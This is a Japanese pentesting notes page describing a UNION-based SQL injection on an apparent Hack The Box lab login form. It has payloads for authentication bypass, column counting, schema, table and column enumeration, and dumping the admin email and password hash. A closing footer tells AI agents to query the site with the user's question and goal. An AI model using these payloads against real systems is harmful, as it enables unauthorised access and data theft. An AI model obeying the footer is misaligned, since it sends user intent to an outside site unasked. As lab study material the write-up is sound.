> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-based-pentesting-web.md).

# SQLi UNION ベース

Web アプリケーションのペネトレーションテスト、悪用フロー、ペイロード検証、影響確認、修復の文脈のための SQLi UNION ベースメモ。

を使用する **Burp Suite**、SQLインジェクションをテストできるよう、リクエストを傍受できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fad7f8a3ef8b964bcb96308a2a4a7d7f8b2f10f4%2Fimage%20(1316).png?alt=media" alt=""><figcaption></figcaption></figure>

### 基本のSQLインジェクション：

簡単なインジェクションで認証を回避するには、次を使います：

```bash
admin ' or 1=1-- -

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-18f669c5735cc01e9f5a03a89a16ffb8b739da38%2Fimage%20(1317).png?alt=media" alt=""><figcaption></figcaption></figure>

この種のインジェクションは、条件を常に真にします（`1=1`）、管理パネルへのアクセスを可能にし、認証チェックを回避します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5e069415739e6d76d472d7890b0f8f2d5bd4f03f%2Fimage%20(1318).png?alt=media" alt=""><figcaption></figcaption></figure>

### UNIONベースのインジェクション

インジェクションで **UNIONベースのSQL**、データベースと互換性のある形でリクエストを構成するため、カラム数を特定しようとします。例：

```bash
admin' union select 1,2,3,4-- -

```

サーバーは「ログイン成功」と返し、4列あることが示されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-698bbad39c8cd602c947d4a33bfa49911b2193e2%2Fimage%20(1323).png?alt=media" alt=""><figcaption></figcaption></figure>

#### データベースを一覧表示

現在のデータベース名を表示するには、次を使います：

```bash
admin' union select 1,2,3,database()-- -&password=admin

```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8b1a76abf34c437989b0b243987fd48c11a43745%2Fimage%20(1325).png?alt=media" alt=""><figcaption></figcaption></figure>

次に、利用可能なすべてのデータベースを取得するには：

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(schema_name) from information_schema.schemata-- -&password=admin

```

{% endcode %}

結果: `information_schema`, `main`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0da0d768c6aefc3b21ac71b9fb2b8ce356ca35dd%2Fimage%20(1326).png?alt=media" alt=""><figcaption></figcaption></figure>

#### テーブルを一覧表示

データベースを特定した後 `main`、このデータベース内のテーブルを一覧表示して、格納されている構造を調べます：

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='main'-- -

```

{% endcode %}

見つかったテーブル： `blog`, `blog_comments`, `users`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e4f6af722deccf30df46101b49268a16c4248a45%2Fimage%20(1327).png?alt=media" alt=""><figcaption></figcaption></figure>

テーブルの列を一覧表示 `users`、利用可能な列を一覧表示します：

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='main' and table_name='user' -- -

```

{% endcode %}

見つかった列: `email`, `id`, `name`, `パスワード`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1065cfdfbb6af2c3762964ea07a981da44aa5e6a%2Fimage%20(1328).png?alt=media" alt=""><figcaption></figcaption></figure>

#### ユーザーデータの抽出

次に、テーブルのデータを抽出します `users`:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(name,':',email,':',password) from main.user -- -

```

{% endcode %}

ユーザー： `Admin` メールアドレス： `admin@goodgames.htb` パスワード（ハッシュ）： `2b22337f218b2d82dfc3b6f77e7cb8ec`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37e874f47fb479d7b0446483254a35242ef8ba07%2Fimage%20(1329).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-based-pentesting-web.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
